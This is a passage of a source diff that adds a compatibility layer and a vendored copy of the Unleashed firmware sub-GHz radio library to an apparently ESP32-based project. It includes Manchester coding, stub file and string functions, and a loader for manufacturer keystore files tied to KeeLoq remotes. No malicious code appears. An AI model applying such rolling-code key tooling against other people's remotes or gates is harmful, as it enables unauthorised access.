+#define M_WORK3R_SPAWN_DATA_NAME     M_C(m_work3r_data_, __LINE__)
+#define M_WORK3R_SPAWN_SUBFUNC_NAME  M_C(m_work3r_subfunc_, __LINE__)
+#define M_WORK3R_DEF_DATA(_input, _output)                                    \
+  struct M_WORK3R_SPAWN_STRUCT_NAME {                                         \
+    M_WORK3R_DEF_DATA_INPUT _input                                            \
+    M_IF_EMPTY _output ( , M_WORK3R_DEF_DATA_OUTPUT _output)                  \
+      } M_WORK3R_SPAWN_DATA_NAME = {                                          \
+    M_WORK3R_INIT_DATA_INPUT _input                                           \
+    M_IF_EMPTY _output (, M_WORK3R_INIT_DATA_OUTPUT _output)                  \
+  };
+#define M_WORK3R_DEF_SINGLE_INPUT(var) __typeof__(var) var;
+#define M_WORK3R_DEF_DATA_INPUT(...)                                          \
+  M_MAP(M_WORK3R_DEF_SINGLE_INPUT, __VA_ARGS__)
+#define M_WORK3R_DEF_SINGLE_OUTPUT(var)                                       \
+  __typeof__(var) *M_C(var, _ptr);
+#define M_WORK3R_DEF_DATA_OUTPUT(...)                                         \
+  M_MAP(M_WORK3R_DEF_SINGLE_OUTPUT, __VA_ARGS__)
+#define M_WORK3R_INIT_SINGLE_INPUT(var)                                       \
+  .var = var,
+#define M_WORK3R_INIT_DATA_INPUT(...)                                         \
+  M_MAP(M_WORK3R_INIT_SINGLE_INPUT, __VA_ARGS__)
+#define M_WORK3R_INIT_SINGLE_OUTPUT(var)                                      \
+  .M_C(var, _ptr) = &var,
+#define M_WORK3R_INIT_DATA_OUTPUT(...)                                        \
+  M_MAP(M_WORK3R_INIT_SINGLE_OUTPUT, __VA_ARGS__)
+#define M_WORK3R_DEF_SUBFUNC(_input, _output, _core)                          \
+  __extension__ auto void M_WORK3R_SPAWN_SUBFUNC_NAME(void *) ;               \
+  __extension__ void M_WORK3R_SPAWN_SUBFUNC_NAME(void *_data)                 \
+  {                                                                           \
+    struct M_WORK3R_SPAWN_STRUCT_NAME *_s_data = _data ;                      \
+    M_WORK3R_INIT_LOCAL_INPUT _input                                          \
+      M_IF_EMPTY _output ( , M_WORK3R_INIT_LOCAL_OUTPUT _output)              \
+      do { _core } while (0);                                                 \
+    M_IF_EMPTY _output ( , M_WORK3R_PROPAGATE_LOCAL_OUTPUT _output)           \
+  };
+#define M_WORK3R_DEF_SUBBLOCK(_input, _output, _core)                         \
+  void (^M_WORK3R_SPAWN_SUBFUNC_NAME) (void *) = ^ void (void * _data)        \
+  {                                                                           \
+    struct M_WORK3R_SPAWN_STRUCT_NAME *_s_data = _data ;                      \
+    M_WORK3R_INIT_LOCAL_INPUT _input                                          \
+      M_IF_EMPTY _output ( , M_WORK3R_INIT_LOCAL_OUTPUT _output)              \
+      do { _core } while (0);                                                 \
+    M_IF_EMPTY _output ( , M_WORK3R_PROPAGATE_LOCAL_OUTPUT _output)           \
+  };
+#define M_WORK3R_INIT_SINGLE_LOCAL_INPUT(var)                                 \
+  __typeof__(var) var = _s_data->var;
+#define M_WORK3R_INIT_LOCAL_INPUT(...)                                        \
+  M_MAP(M_WORK3R_INIT_SINGLE_LOCAL_INPUT, __VA_ARGS__)
+#define M_WORK3R_INIT_SINGLE_LOCAL_OUTPUT(var)                                \
+  __typeof__(var) var;
+#define M_WORK3R_INIT_LOCAL_OUTPUT(...)                                       \
+  M_MAP(M_WORK3R_INIT_SINGLE_LOCAL_OUTPUT, __VA_ARGS__)
+#define M_WORK3R_PROPAGATE_SINGLE_OUTPUT(var)                                 \
+  *(_s_data->M_C(var, _ptr)) = var;
+#define M_WORK3R_PROPAGATE_LOCAL_OUTPUT(...)                                  \
+  M_MAP(M_WORK3R_PROPAGATE_SINGLE_OUTPUT, __VA_ARGS__)
+
+M_END_PROTECTED_CODE
+
+#else /* M_USE_WORKER */
+
+/*   Define empty types and empty functions to not use any worker */
+#include "m-core.h"
+
+typedef struct m_worker_block_s {
+  int x;
+} m_worker_sync_t[1];
+
+typedef struct m_worker_s {
+  int x;
+} m_worker_t[1];
+
+#define m_worker_init(g, numWorker, extraQueue, resetFunc) do { (void) g; } while (0)
+#define m_worker_clear(g) do { (void) g; } while (0)
+#define m_worker_start(b, w) do { (void) b; } while (0)
+#define m_worker_spawn(b, f, d) do { f(d); } while (0)
+#define m_worker_sync_p(b) true
+#define m_worker_sync(b) do { (void) b; } while (0)
+#define m_worker_count(w) 1
+#define m_worker_flush(w) do { (void) w; } while (0)
+#define M_WORKER_SPAWN(b, i, c, o) do { c } while (0)
+
+// TODO: M_WORKER_SPAWN_DEF2
+
+#endif /* M_USE_WORKER */
+
+
+#if M_USE_SMALL_NAME
+#define worker_t      m_worker_t
+#define worker_sync_t m_worker_sync_t
+#define worker_init   m_worker_init
+#define worker_clear  m_worker_clear
+#define worker_start  m_worker_start
+#define worker_spawn  m_worker_spawn
+#define worker_sync_p m_worker_sync_p
+#define worker_sync   m_worker_sync
+#define worker_count  m_worker_count
+#define worker_flush  m_worker_flush
+#define WORKER_SPAWN  M_WORKER_SPAWN
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/storage/storage.h b/lib/subghz_unleashed_compat/include/storage/storage.h
new file mode 100644
index 000000000..b677ab7c5
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/storage/storage.h
@@ -0,0 +1,8 @@
+#ifndef __SUBGHZ_COMPAT_STORAGE_H__
+#define __SUBGHZ_COMPAT_STORAGE_H__
+
+typedef struct Storage {
+    int placeholder;
+} Storage;
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/toolbox/stream/stream.h b/lib/subghz_unleashed_compat/include/toolbox/stream/stream.h
new file mode 100644
index 000000000..15e467ad6
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/toolbox/stream/stream.h
@@ -0,0 +1 @@
+#include <lib/toolbox/stream/stream.h>
diff --git a/lib/subghz_unleashed_compat/library.json b/lib/subghz_unleashed_compat/library.json
new file mode 100644
index 000000000..4434e108f
--- /dev/null
+++ b/lib/subghz_unleashed_compat/library.json
@@ -0,0 +1,8 @@
+{
+  "name": "subghz_unleashed_compat",
+  "version": "0.1.0",
+  "build": {
+    "includeDir": "include",
+    "srcDir": "src"
+  }
+}
diff --git a/lib/subghz_unleashed_compat/src/manchester_decoder.c b/lib/subghz_unleashed_compat/src/manchester_decoder.c
new file mode 100644
index 000000000..db0da635b
--- /dev/null
+++ b/lib/subghz_unleashed_compat/src/manchester_decoder.c
@@ -0,0 +1,33 @@
+#include <lib/toolbox/manchester_decoder.h>
+
+#include <stdint.h>
+
+static const uint8_t transitions[] = {0b00000001, 0b10010001, 0b10011011, 0b11111011};
+static const ManchesterState manchester_reset_state = ManchesterStateMid1;
+
+bool manchester_advance(
+    ManchesterState state,
+    ManchesterEvent event,
+    ManchesterState* next_state,
+    bool* data) {
+    bool result = false;
+    ManchesterState new_state;
+
+    if(event == ManchesterEventReset) {
+        new_state = manchester_reset_state;
+    } else {
+        new_state = (ManchesterState)((transitions[state] >> event) & 0x3);
+        if(new_state == state) {
+            new_state = manchester_reset_state;
+        } else if(new_state == ManchesterStateMid0) {
+            if(data) *data = false;
+            result = true;
+        } else if(new_state == ManchesterStateMid1) {
+            if(data) *data = true;
+            result = true;
+        }
+    }
+
+    *next_state = new_state;
+    return result;
+}
diff --git a/lib/subghz_unleashed_compat/src/manchester_encoder.c b/lib/subghz_unleashed_compat/src/manchester_encoder.c
new file mode 100644
index 000000000..f314c5e1e
--- /dev/null
+++ b/lib/subghz_unleashed_compat/src/manchester_encoder.c
@@ -0,0 +1,51 @@
+#include <lib/toolbox/manchester_encoder.h>
+#include <furi.h>
+
+void manchester_encoder_reset(ManchesterEncoderState* state) {
+    furi_check(state);
+    state->step = 0;
+}
+
+bool manchester_encoder_advance(
+    ManchesterEncoderState* state,
+    const bool curr_bit,
+    ManchesterEncoderResult* result) {
+    furi_check(state);
+    furi_check(result);
+
+    bool advance = false;
+    switch(state->step) {
+    case 0:
+        state->prev_bit = curr_bit;
+        *result = state->prev_bit ? ManchesterEncoderResultShortLow :
+                                    ManchesterEncoderResultShortHigh;
+        state->step = 1;
+        advance = true;
+        break;
+    case 1:
+        *result = (ManchesterEncoderResult)((state->prev_bit << 1) + curr_bit);
+        if(curr_bit == state->prev_bit) {
+            state->step = 2;
+        } else {
+            state->prev_bit = curr_bit;
+            advance = true;
+        }
+        break;
+    case 2:
+        *result = curr_bit ? ManchesterEncoderResultShortLow : ManchesterEncoderResultShortHigh;
+        state->prev_bit = curr_bit;
+        state->step = 1;
+        advance = true;
+        break;
+    default:
+        furi_crash();
+        break;
+    }
+    return advance;
+}
+
+ManchesterEncoderResult manchester_encoder_finish(ManchesterEncoderState* state) {
+    furi_check(state);
+    state->step = 0;
+    return (ManchesterEncoderResult)((state->prev_bit << 1) + state->prev_bit);
+}
diff --git a/lib/subghz_unleashed_compat/src/subghz_compat.cpp b/lib/subghz_unleashed_compat/src/subghz_compat.cpp
new file mode 100644
index 000000000..2b616dad3
--- /dev/null
+++ b/lib/subghz_unleashed_compat/src/subghz_compat.cpp
@@ -0,0 +1,296 @@
+#include <Arduino.h>
+#include <furi.h>
+#include <furi_hal.h>
+#include <furi_hal_rtc.h>
+#include <lib/flipper_format/flipper_format.h>
+
+#include <stdio.h>
+
+struct FuriString {
+    String s;
+};
+
+extern "C" {
+
+FuriString* furi_string_alloc(void) {
+    FuriString* s = (FuriString*)malloc(sizeof(FuriString));
+    if(s) s->s = "";
+    return s;
+}
+
+FuriString* furi_string_alloc_set(const char* cstr) {
+    FuriString* s = furi_string_alloc();
+    if(s) s->s = cstr ? cstr : "";
+    return s;
+}
+
+void furi_string_free(FuriString* str) {
+    if(str) free(str);
+}
+
+void furi_string_set(FuriString* str, const char* cstr) {
+    if(!str) return;
+    str->s = cstr ? cstr : "";
+}
+
+void furi_string_set_n(FuriString* out, const FuriString* in, size_t pos, size_t len) {
+    if(!out || !in) return;
+    out->s = in->s.substring(pos, pos + len);
+}
+
+void furi_string_cat(FuriString* str, const char* cstr) {
+    if(!str || !cstr) return;
+    str->s += cstr;
+}
+
+void furi_string_cat_printf(FuriString* str, const char* fmt, ...) {
+    if(!str || !fmt) return;
+    char buf[256];
+    va_list ap;
+    va_start(ap, fmt);
+    vsnprintf(buf, sizeof(buf), fmt, ap);
+    va_end(ap);
+    str->s += buf;
+}
+
+void furi_string_printf(FuriString* str, const char* fmt, ...) {
+    if(!str || !fmt) return;
+    char buf[256];
+    va_list ap;
+    va_start(ap, fmt);
+    vsnprintf(buf, sizeof(buf), fmt, ap);
+    va_end(ap);
+    str->s = buf;
+}
+
+const char* furi_string_get_cstr(const FuriString* str) {
+    if(!str) return "";
+    return str->s.c_str();
+}
+
+size_t furi_string_size(const FuriString* str) {
+    if(!str) return 0;
+    return str->s.length();
+}
+
+void furi_string_trim(FuriString* str) {
+    if(!str) return;
+    str->s.trim();
+}
+
+void furi_delay_ms(uint32_t ms) { delay(ms); }
+void furi_delay_tick(uint32_t ticks) { delay(ticks); }
+void furi_crash_message(const char* message) {
+    UNUSED(message);
+    abort();
+}
+
+int32_t furi_hal_subghz_get_rolling_counter_mult(void) {
+    // Default "disabled" value used by upstream code.
+    return -0x7FFFFFFF;
+}
+
+uint32_t furi_hal_rtc_get_timestamp(void) { return (uint32_t)millis(); }
+
+void* furi_record_open(const char* record) {
+    UNUSED(record);
+    return NULL;
+}
+
+void furi_record_close(const char* record) { UNUSED(record); }
+
+FlipperFormat* flipper_format_file_alloc(Storage* storage) {
+    UNUSED(storage);
+    FlipperFormat* ff = (FlipperFormat*)malloc(sizeof(FlipperFormat));
+    if(ff) ff->raw = NULL;
+    return ff;
+}
+
+void flipper_format_free(FlipperFormat* ff) {
+    if(ff) free(ff);
+}
+
+bool flipper_format_file_open_existing(FlipperFormat* ff, const char* path) {
+    UNUSED(ff);
+    UNUSED(path);
+    return false;
+}
+
+bool flipper_format_file_open_always(FlipperFormat* ff, const char* path) {
+    UNUSED(ff);
+    UNUSED(path);
+    return false;
+}
+
+bool flipper_format_file_close(FlipperFormat* ff) {
+    UNUSED(ff);
+    return true;
+}
+
+bool flipper_format_read_header(FlipperFormat* ff, FuriString* filetype, uint32_t* version) {
+    UNUSED(ff);
+    if(filetype) furi_string_set(filetype, "");
+    if(version) *version = 0;
+    return false;
+}
+
+bool flipper_format_write_header_cstr(FlipperFormat* ff, const char* type, uint32_t version) {
+    UNUSED(ff);
+    UNUSED(type);
+    UNUSED(version);
+    return true;
+}
+
+bool flipper_format_rewind(FlipperFormat* ff) {
+    UNUSED(ff);
+    return true;
+}
+
+bool flipper_format_read_uint32(FlipperFormat* ff, const char* key, uint32_t* out, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(out);
+    UNUSED(cnt);
+    return false;
+}
+
+bool flipper_format_read_int32(FlipperFormat* ff, const char* key, int32_t* out, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(out);
+    UNUSED(cnt);
+    return false;
+}
+
+bool flipper_format_read_bool(FlipperFormat* ff, const char* key, bool* out, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(out);
+    UNUSED(cnt);
+    return false;
+}
+
+bool flipper_format_read_hex(FlipperFormat* ff, const char* key, uint8_t* out, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(out);
+    UNUSED(cnt);
+    return false;
+}
+
+bool flipper_format_read_string(FlipperFormat* ff, const char* key, FuriString* out) {
+    UNUSED(ff);
+    UNUSED(key);
+    if(out) furi_string_set(out, "");
+    return false;
+}
+
+bool flipper_format_write_uint32(FlipperFormat* ff, const char* key, const uint32_t* in, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    UNUSED(cnt);
+    return true;
+}
+
+bool flipper_format_write_int32(FlipperFormat* ff, const char* key, const int32_t* in, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    UNUSED(cnt);
+    return true;
+}
+
+bool flipper_format_write_hex(FlipperFormat* ff, const char* key, const uint8_t* in, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    UNUSED(cnt);
+    return true;
+}
+
+bool flipper_format_write_string_cstr(FlipperFormat* ff, const char* key, const char* in) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    return true;
+}
+
+bool flipper_format_update_uint32(FlipperFormat* ff, const char* key, const uint32_t* in, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    UNUSED(cnt);
+    return true;
+}
+
+bool flipper_format_insert_or_update_uint32(FlipperFormat* ff, const char* key, const uint32_t* in, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    UNUSED(cnt);
+    return true;
+}
+
+bool flipper_format_update_hex(FlipperFormat* ff, const char* key, const uint8_t* in, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    UNUSED(cnt);
+    return true;
+}
+
+bool flipper_format_insert_or_update_hex(FlipperFormat* ff, const char* key, const uint8_t* in, size_t cnt) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    UNUSED(cnt);
+    return true;
+}
+
+bool flipper_format_update_string_cstr(FlipperFormat* ff, const char* key, const char* in) {
+    UNUSED(ff);
+    UNUSED(key);
+    UNUSED(in);
+    return true;
+}
+
+Stream* flipper_format_get_raw_stream(FlipperFormat* ff) {
+    if(!ff) return NULL;
+    return ff->raw;
+}
+
+size_t stream_size(Stream* s) {
+    UNUSED(s);
+    return 0;
+}
+
+size_t stream_tell(Stream* s) {
+    UNUSED(s);
+    return 0;
+}
+
+bool stream_seek(Stream* s, size_t offset, int origin) {
+    UNUSED(s);
+    UNUSED(offset);
+    UNUSED(origin);
+    return false;
+}
+
+bool stream_read_line(Stream* s, FuriString* out) {
+    UNUSED(s);
+    if(out) furi_string_set(out, "");
+    return false;
+}
+
+void stream_clean(Stream* s) { UNUSED(s); }
+void stream_write_cstring(Stream* s, const char* str) {
+    UNUSED(s);
+    UNUSED(str);
+}
+void stream_write_char(Stream* s, char c) {
+    UNUSED(s);
+    UNUSED(c);
+}
+
+} // extern "C"
diff --git a/lib/subghz_unleashed_compat/src/subghz_keystore_compat.cpp b/lib/subghz_unleashed_compat/src/subghz_keystore_compat.cpp
new file mode 100644
index 000000000..c12d93fa4
--- /dev/null
+++ b/lib/subghz_unleashed_compat/src/subghz_keystore_compat.cpp
@@ -0,0 +1,156 @@
+#include <Arduino.h>
+#include <FS.h>
+#include <LittleFS.h>
+#include <SD.h>
+
+#include <subghz/subghz_keystore.h>
+#include <subghz/subghz_keystore_i.h>
+
+extern bool setupSdCard();
+
+static void subghz_keystore_clear(SubGhzKeystore* instance) {
+    if(!instance) return;
+    for M_EACH(manufacture_code, instance->data, SubGhzKeyArray_t) {
+            furi_string_free(manufacture_code->name);
+            manufacture_code->key = 0;
+        }
+    SubGhzKeyArray_clear(instance->data);
+    SubGhzKeyArray_init(instance->data);
+}
+
+static bool subghz_keystore_open_read(const String& path, File& out) {
+    if(path.length() == 0) return false;
+    if(setupSdCard() && SD.exists(path)) {
+        out = SD.open(path, FILE_READ);
+        if(out) return true;
+    }
+    if(LittleFS.exists(path)) {
+        out = LittleFS.open(path, FILE_READ);
+        if(out) return true;
+    }
+    return false;
+}
+
+static bool subghz_keystore_parse_line(SubGhzKeystore* instance, const String& lineIn) {
+    String line = lineIn;
+    line.trim();
+    if(line.length() == 0 || line.startsWith("#")) return true;
+
+    String name;
+    String keyStr;
+    uint16_t type = 0;
+
+    if(line.indexOf(';') > 0) {
+        // Bruce format: name;key;type
+        const int p1 = line.indexOf(';');
+        const int p2 = line.indexOf(';', p1 + 1);
+        if(p1 <= 0 || p2 <= p1) return false;
+        name = line.substring(0, p1);
+        keyStr = line.substring(p1 + 1, p2);
+        type = (uint16_t)line.substring(p2 + 1).toInt();
+    } else if(line.indexOf(':') > 0) {
+        // Flipper format: key:type:name
+        const int p1 = line.indexOf(':');
+        const int p2 = line.indexOf(':', p1 + 1);
+        if(p1 <= 0 || p2 <= p1) return false;
+        keyStr = line.substring(0, p1);
+        type = (uint16_t)line.substring(p1 + 1, p2).toInt();
+        name = line.substring(p2 + 1);
+    } else {
+        return false;
+    }
+
+    name.trim();
+    keyStr.trim();
+    if(name.length() == 0 || keyStr.length() == 0) return false;
+
+    if(keyStr.startsWith("0x") || keyStr.startsWith("0X")) keyStr = keyStr.substring(2);
+    uint64_t key = strtoull(keyStr.c_str(), NULL, 16);
+
+    SubGhzKey* manufacture_code = SubGhzKeyArray_push_new(instance->data);
+    manufacture_code->name = furi_string_alloc_set(name.c_str());
+    manufacture_code->key = key;
+    manufacture_code->type = type;
+    return true;
+}
+
+extern "C" SubGhzKeystore* subghz_keystore_alloc(void) {
+    SubGhzKeystore* instance = (SubGhzKeystore*)malloc(sizeof(SubGhzKeystore));
+    if(!instance) return NULL;
+    SubGhzKeyArray_init(instance->data);
+    subghz_keystore_reset_kl(instance);
+    return instance;
+}
+
+extern "C" void subghz_keystore_reset_kl(SubGhzKeystore* instance) {
+    if(!instance) return;
+    instance->mfname = "";
+    instance->kl_type = 0;
+}
+
+extern "C" void subghz_keystore_free(SubGhzKeystore* instance) {
+    if(!instance) return;
+    subghz_keystore_clear(instance);
+    free(instance);
+}
+
+extern "C" bool subghz_keystore_load(SubGhzKeystore* instance, const char* file_name) {
+    if(!instance || !file_name) return false;
+
+    subghz_keystore_clear(instance);
+
+    File file;
+    if(!subghz_keystore_open_read(String(file_name), file)) return false;
+
+    bool ok = false;
+    while(file.available()) {
+        String line = file.readStringUntil('\n');
+        line.replace("\r", "");
+        if(subghz_keystore_parse_line(instance, line)) ok = true;
+    }
+    file.close();
+    return ok;
+}
+
+extern "C"
+bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8_t* iv) {
+    UNUSED(instance);
+    UNUSED(file_name);
+    UNUSED(iv);
+    return false;
+}
+
+extern "C" SubGhzKeyArray_t* subghz_keystore_get_data(SubGhzKeystore* instance) {
+    if(!instance) return NULL;
+    return &instance->data;
+}
+
+extern "C" bool subghz_keystore_raw_encrypted_save(
+    const char* input_file_name,
+    const char* output_file_name,
+    uint8_t* iv) {
+    UNUSED(input_file_name);
+    UNUSED(output_file_name);
+    UNUSED(iv);
+    return false;
+}
+
+extern "C"
+bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* data, size_t len) {
+    if(!file_name || !data || len == 0) return false;
+
+    File file;
+    if(!subghz_keystore_open_read(String(file_name), file)) return false;
+    if(offset > file.size()) {
+        file.close();
+        return false;
+    }
+    if(!file.seek(offset)) {
+        file.close();
+        return false;
+    }
+
+    const size_t read_sz = file.read(data, len);
+    file.close();
+    return read_sz == len;
+}
diff --git a/lib/subghz_unleashed_vendor/README.md b/lib/subghz_unleashed_vendor/README.md
new file mode 100644
index 000000000..2087f3904
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/README.md
@@ -0,0 +1,9 @@
+# SubGHz Unleashed Vendor Snapshot
+
+This directory contains a vendored snapshot of `lib/subghz` from Unleashed Firmware.
+
+- Upstream: `https://github.com/DarkFlippers/unleashed-firmware`
+- Commit: `8236079122d9`
+- Snapshot policy: immutable vendor files
+
+All compatibility and integration changes must live outside this folder.
diff --git a/lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt b/lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt
new file mode 100644
index 000000000..a2b1d20d5
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt
@@ -0,0 +1,5 @@
+source_repo: https://github.com/DarkFlippers/unleashed-firmware
+source_path: lib/subghz
+source_commit: 8236079122d9
+snapshot_date: 2026-05-23
+policy: vendor_files_are_immutable
diff --git a/lib/subghz_unleashed_vendor/library.json b/lib/subghz_unleashed_vendor/library.json
new file mode 100644
index 000000000..5ccbe556b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/library.json
@@ -0,0 +1,10 @@
+{
+  "name": "subghz_unleashed_vendor",
+  "version": "0.1.0",
+  "build": {
+    "srcFilter": [
+      "-<*>"
+    ],
+    "includeDir": "src"
+  }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/SConscript b/lib/subghz_unleashed_vendor/src/subghz/SConscript
new file mode 100644
index 000000000..cd09b4e1a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/SConscript
@@ -0,0 +1,41 @@
+Import("env")
+
+env.Append(
+    CPPPATH=[
+        "#/lib/subghz",
+    ],
+    LINT_SOURCES=[
+        Dir("."),
+    ],
+    SDK_HEADERS=[
+        File("environment.h"),
+        File("receiver.h"),
+        File("registry.h"),
+        File("subghz_worker.h"),
+        File("subghz_tx_rx_worker.h"),
+        File("subghz_file_encoder_worker.h"),
+        File("transmitter.h"),
+        File("protocols/raw.h"),
+        File("protocols/public_api.h"),
+        File("blocks/const.h"),
+        File("blocks/decoder.h"),
+        File("blocks/encoder.h"),
+        File("blocks/generic.h"),
+        File("blocks/math.h"),
+        File("blocks/custom_btn.h"),
+        File("subghz_setting.h"),
+        File("subghz_protocol_registry.h"),
+        File("devices/cc1101_configs.h"),
+        File("devices/cc1101_int/cc1101_int_interconnect.h"),
+        File("subghz_file_encoder_worker.h"),
+    ],
+)
+
+libenv = env.Clone(FW_LIB_NAME="subghz")
+libenv.ApplyLibFlags()
+
+sources = libenv.GlobRecursive("*.c*")
+
+lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources)
+libenv.Install("${LIB_DIST_DIR}", lib)
+Return("lib")
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/const.h b/lib/subghz_unleashed_vendor/src/subghz/blocks/const.h
new file mode 100644
index 000000000..e73b1a559
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/const.h
@@ -0,0 +1,20 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct {
+    const uint16_t te_long;
+    const uint16_t te_short;
+    const uint16_t te_delta;
+    const uint8_t min_count_bit_for_found;
+} SubGhzBlockConst;
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.c b/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.c
new file mode 100644
index 000000000..6a185c37b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.c
@@ -0,0 +1,51 @@
+#include "custom_btn_i.h"
+
+static uint8_t custom_btn_id = SUBGHZ_CUSTOM_BTN_OK;
+static uint8_t custom_btn_original = 0;
+static uint8_t custom_btn_max_btns = 0;
+static uint8_t controller_programming_mode = PROG_MODE_OFF;
+
+bool subghz_custom_btn_set(uint8_t btn_id) {
+    if(btn_id > custom_btn_max_btns) {
+        custom_btn_id = SUBGHZ_CUSTOM_BTN_OK;
+        return false;
+    } else {
+        custom_btn_id = btn_id;
+        return true;
+    }
+}
+
+uint8_t subghz_custom_btn_get(void) {
+    return custom_btn_id;
+}
+
+void subghz_custom_btn_set_original(uint8_t btn_code) {
+    custom_btn_original = btn_code;
+}
+
+uint8_t subghz_custom_btn_get_original(void) {
+    return custom_btn_original;
+}
+
+void subghz_custom_btn_set_max(uint8_t b) {
+    custom_btn_max_btns = b;
+}
+
+void subghz_custom_btns_reset(void) {
+    custom_btn_original = 0;
+    custom_btn_max_btns = 0;
+    controller_programming_mode = PROG_MODE_OFF;
+    custom_btn_id = SUBGHZ_CUSTOM_BTN_OK;
+}
+
+bool subghz_custom_btn_is_allowed(void) {
+    return custom_btn_max_btns != 0;
+}
+
+void subghz_custom_btn_set_prog_mode(ProgMode prog_mode) {
+    controller_programming_mode = prog_mode;
+}
+
+ProgMode subghz_custom_btn_get_prog_mode(void) {
+    return controller_programming_mode;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.h b/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.h
new file mode 100644
index 000000000..67f10a08d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.h
@@ -0,0 +1,30 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+// Default btn ID
+#define SUBGHZ_CUSTOM_BTN_OK    (0U)
+#define SUBGHZ_CUSTOM_BTN_UP    (1U)
+#define SUBGHZ_CUSTOM_BTN_DOWN  (2U)
+#define SUBGHZ_CUSTOM_BTN_LEFT  (3U)
+#define SUBGHZ_CUSTOM_BTN_RIGHT (4U)
+
+bool subghz_custom_btn_set(uint8_t btn_id);
+
+uint8_t subghz_custom_btn_get(void);
+
+uint8_t subghz_custom_btn_get_original(void);
+
+void subghz_custom_btns_reset(void);
+
+bool subghz_custom_btn_is_allowed(void);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn_i.h b/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn_i.h
new file mode 100644
index 000000000..3c3b590f6
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn_i.h
@@ -0,0 +1,18 @@
+#pragma once
+
+#include "custom_btn.h"
+
+#define PROG_MODE_OFF              (0U)
+#define PROG_MODE_KEELOQ_BFT       (1U)
+#define PROG_MODE_KEELOQ_APRIMATIC (2U)
+#define PROG_MODE_KEELOQ_DEA_MIO   (3U)
+
+typedef uint8_t ProgMode;
+
+void subghz_custom_btn_set_original(uint8_t btn_code);
+
+void subghz_custom_btn_set_max(uint8_t b);
+
+void subghz_custom_btn_set_prog_mode(ProgMode prog_mode);
+
+ProgMode subghz_custom_btn_get_prog_mode(void);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.c b/lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.c
new file mode 100644
index 000000000..f491c87bf
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.c
@@ -0,0 +1,27 @@
+#include "decoder.h"
+
+#define TAG "SubGhzBlockDecoder"
+
+void subghz_protocol_blocks_add_bit(SubGhzBlockDecoder* decoder, uint8_t bit) {
+    decoder->decode_data = decoder->decode_data << 1 | bit;
+    decoder->decode_count_bit++;
+}
+
+void subghz_protocol_blocks_add_to_128_bit(
+    SubGhzBlockDecoder* decoder,
+    uint8_t bit,
+    uint64_t* head_64_bit) {
+    if(++decoder->decode_count_bit > 64) {
+        (*head_64_bit) = ((*head_64_bit) << 1) | (decoder->decode_data >> 63);
+    }
+    decoder->decode_data = decoder->decode_data << 1 | bit;
+}
+
+uint8_t subghz_protocol_blocks_get_hash_data(SubGhzBlockDecoder* decoder, size_t len) {
+    uint8_t hash = 0;
+    uint8_t* p = (uint8_t*)&decoder->decode_data;
+    for(size_t i = 0; i < len; i++) {
+        hash ^= p[i];
+    }
+    return hash;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.h b/lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.h
new file mode 100644
index 000000000..4323dae09
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.h
@@ -0,0 +1,47 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzBlockDecoder SubGhzBlockDecoder;
+
+struct SubGhzBlockDecoder {
+    uint32_t parser_step;
+    uint32_t te_last;
+    uint64_t decode_data;
+    uint8_t decode_count_bit;
+};
+
+/**
